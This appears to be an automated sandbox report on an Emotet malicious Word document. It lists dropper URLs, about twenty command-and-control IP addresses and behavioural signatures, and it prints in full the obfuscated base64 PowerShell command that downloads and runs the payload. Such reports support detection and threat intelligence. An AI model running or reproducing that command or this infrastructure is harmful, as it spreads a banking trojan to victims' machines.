Analysis

  • max time kernel
    141s
  • max time network
    153s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    19/08/2020, 17:36

General

  • Target
    emotet_e2_d9d8ec245eab78761795bfab0930cb5dd903e1157eec18a517b867e004191413_2020-08-19__173342._doc.doc
  • Size 201KB
  • Sample200819-pq4dht7lp6
  • SHA256 d9d8ec245eab78761795bfab0930cb5dd903e1157eec18a517b867e004191413
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://ruskinc.com/7k2ql/zmIt/

  • exe.dropper

    http://agapewilderness.com/wordpress/cj5O/

  • exe.dropper

    https://jaycetelescope.com/wp-admin/rSX1k/

  • exe.dropper

    https://nypthealing.com/wp-includes/hsiA/

  • exe.dropper

    https://5aby.com/wp-includes/Mr/

  • exe.dropper

    https://comfy-n-cozy-deals.com/wp-admin/BXFFX/

  • exe.dropper

    http://getmodels.net/sys-cache/po/

Extracted

Family
  • emotet

C2
  • 64.183.73.122:80

  • 69.30.203.214:8080

  • 67.205.85.243:8080

  • 222.214.218.37:4143

  • 104.236.246.93:8080

  • 110.145.77.103:80

  • 89.186.91.200:443

  • 74.120.55.163:80

  • 95.179.229.244:8080

  • 70.167.215.250:8080

  • 47.146.117.214:80

  • 209.141.54.221:8080

  • 24.43.99.75:80

  • 103.86.49.11:8080

  • 142.105.151.124:443

  • 62.138.26.28:8080

  • 24.179.13.119:80

  • 37.187.72.193:8080

  • 137.59.187.107:8080

  • 97.82.79.83:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 3 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_d9d8ec245eab78761795bfab0930cb5dd903e1157eec18a517b867e004191413_2020-08-19__173342._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3200
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABTAG0ANABqAHEAZAB0AD0AKAAnAFkAYwBoAF8AeAAnACsAJwBnAG4AJwApADsALgAoACcAbgBlACcAKwAnAHcALQBpACcAKwAnAHQAZQBtACcAKQAgACQAZQBuAHYAOgBUAGUAbQBQAFwATwBGAEYASQBDAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAHIAZQBjAHQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBDAGAAVQByAEkAYABUAFkAUAByAE8AVABPAGAAYwBgAG8AbAAiACAAPQAgACgAJwB0AGwAcwAxADIAJwArACcALAAgAHQAJwArACcAbABzADEAMQAsACAAJwArACcAdABsAHMAJwApADsAJABOADEAZQBnADYAZwBrACAAPQAgACgAJwBIACcAKwAnAGMAZgB5AGoANAA4ACcAKwAnAGQAJwApADsAJABJAGgAdAA4AHYANgB6AD0AKAAnAE8AJwArACcAMgBiAGkAYwAnACsAJwBwAHEAJwApADsAJABOAGYAdQBrADQAawBkAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwBzADAANwBPAGYAZgBpACcAKwAnAGMAZQAnACsAJwAyADAAJwArACcAMQA5AHMAMAA3ACcAKQAgACAALQByAGUAUABsAEEAYwBlACAAKABbAEMASABhAFIAXQAxADEANQArAFsAQwBIAGEAUgBdADQAOAArAFsAQwBIAGEAUgBdADUANQApACwAWwBDAEgAYQBSAF0AOQAyACkAKwAkAE4AMQBlAGcANgBnAGsAKwAoACcALgBlAHgAJwArACcAZQAnACkAOwAkAEEAbQAyAGMAZABhAG4APQAoACcATAA3ADMAYgB4ACcAKwAnADYAOAAnACkAOwAkAFMAdwAwAHkANAA1AGQAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAE4ARQBUAC4AdwBFAGIAYwBsAGkARQBOAHQAOwAkAEoAdQBfADEAagBiADMAPQAoACcAaAAnACsAJwB0AHQAcAA6AC8ALwByACcAKwAnAHUAcwBrAGkAJwArACcAbgBjAC4AYwBvAG0ALwA3AGsAJwArACcAMgBxAGwALwB6ACcAKwAnAG0AJwArACcASQB0AC8AKgBoACcAKwAnAHQAJwArACcAdABwADoALwAnACsAJwAvAGEAZwAnACsAJwBhACcAKwAnAHAAZQB3AGkAbABkAGUAJwArACcAcgAnACsAJwBuAGUAcwAnACsAJwBzACcAKwAnAC4AYwAnACsAJwBvAG0AJwArACcALwB3AG8AcgBkACcAKwAnAHAAcgBlAHMAcwAnACsAJwAvACcAKwAnAGMAagA1AE8ALwAqAGgAdAB0AHAAcwA6AC8ALwBqACcAKwAnAGEAeQBjACcAKwAnAGUAJwArACcAdABlACcAKwAnAGwAZQBzACcAKwAnAGMAbwAnACsAJwBwACcAKwAnAGUALgBjAG8AbQAvAHcAcAAtAGEAZAAnACsAJwBtACcAKwAnAGkAbgAvAHIAUwBYADEAJwArACcAawAvACoAaAB0AHQAcABzADoALwAvACcAKwAnAG4AeQBwACcAKwAnAHQAaABlAGEAbAAnACsAJwBpAG4AZwAuAGMAJwArACcAbwBtAC8AJwArACcAdwAnACsAJwBwAC0AaQBuAGMAbAB1AGQAJwArACcAZQAnACsAJwBzAC8AaABzAGkAQQAvACoAaAB0AHQAJwArACcAcABzADoALwAnACsAJwAvADUAYQBiACcAKwAnAHkALgBjAG8AbQAnACsAJwAvACcAKwAnAHcAcAAtACcAKwAnAGkAbgBjAGwAdQBkAGUAcwAnACsAJwAvAE0AcgAnACsAJwAvACoAaAAnACsAJwB0ACcAKwAnAHQAcABzADoAJwArACcALwAvAGMAbwBtACcAKwAnAGYAeQAtAG4ALQAnACsAJwBjAG8AegB5AC0AZABlAGEAbABzAC4AYwBvAG0ALwB3AHAAJwArACcALQAnACsAJwBhAGQAJwArACcAbQBpAG4ALwBCAFgARgBGACcAKwAnAFgALwAqACcAKwAnAGgAJwArACcAdAB0AHAAOgAvAC8AZwBlAHQAJwArACcAbQBvAGQAZQBsAHMALgAnACsAJwBuACcAKwAnAGUAdAAvAHMAJwArACcAeQBzACcAKwAnAC0AYwBhACcAKwAnAGMAaABlAC8AcABvAC8AJwApAC4AIgBTAFAAYABsAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFMANQBlADcAYQB4AG4APQAoACcATgAnACsAJwB1ACcAKwAnAGMAcABsAHIAaQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABXADIAegBxAG8AYQBsACAAaQBuACAAJABKAHUAXwAxAGoAYgAzACkAewB0AHIAeQB7ACQAUwB3ADAAeQA0ADUAZAAuACIAZABvAGAAVwBuAGAAbABPAGEARABmAGkAYABsAEUAIgAoACQAVwAyAHoAcQBvAGEAbAAsACAAJABOAGYAdQBrADQAawBkACkAOwAkAFMAYgBpAHIAZgBhAG0APQAoACcAVgBnAHIAJwArACcAMQBkAHgANQAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQBJACcAKwAnAHQAZQBtACcAKQAgACQATgBmAHUAawA0AGsAZAApAC4AIgBsAGAAZQBOAGcAdABIACIAIAAtAGcAZQAgADMANAAwADUAMAApACAAewAuACgAJwBJAG4AdgBvACcAKwAnAGsAZQAtAEkAdABlACcAKwAnAG0AJwApACgAJABOAGYAdQBrADQAawBkACkAOwAkAFAAdABqAGsAdQB3AG8APQAoACcATwB1ACcAKwAnAHUAMAA5AGIAOQAnACkAOwBiAHIAZQBhAGsAOwAkAEMAbQB2AHcAcQBrAHoAPQAoACcAVQBiACcAKwAnADYAZgAnACsAJwB5AGQANwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEoAdwAxADAAXwBuAGYAPQAoACcAVwBzAHcAcgA0ACcAKwAnAG8AOAAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2108
    • C:\Users\Admin\AppData\Local\Temp\Office2019\Hcfyj48d.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\Hcfyj48d.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1796
      • C:\Windows\SysWOW64\MSAudDecMFT\MSFlacEncoder.exe
        "C:\Windows\SysWOW64\MSAudDecMFT\MSFlacEncoder.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:2168

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/1796-15-0x0000000000600000-0x000000000060C000-memory.dmp

        memory/2108-9-0x00007FF968EB0000-0x00007FF96989C000-memory.dmp

        memory/2108-10-0x000002717A810000-0x000002717A811000-memory.dmp

        memory/2108-11-0x000002717AA40000-0x000002717AA41000-memory.dmp

        memory/2168-18-0x00000000005A0000-0x00000000005AC000-memory.dmp

        memory/3200-0-0x00007FF976AE0000-0x00007FF9771A6000-memory.dmp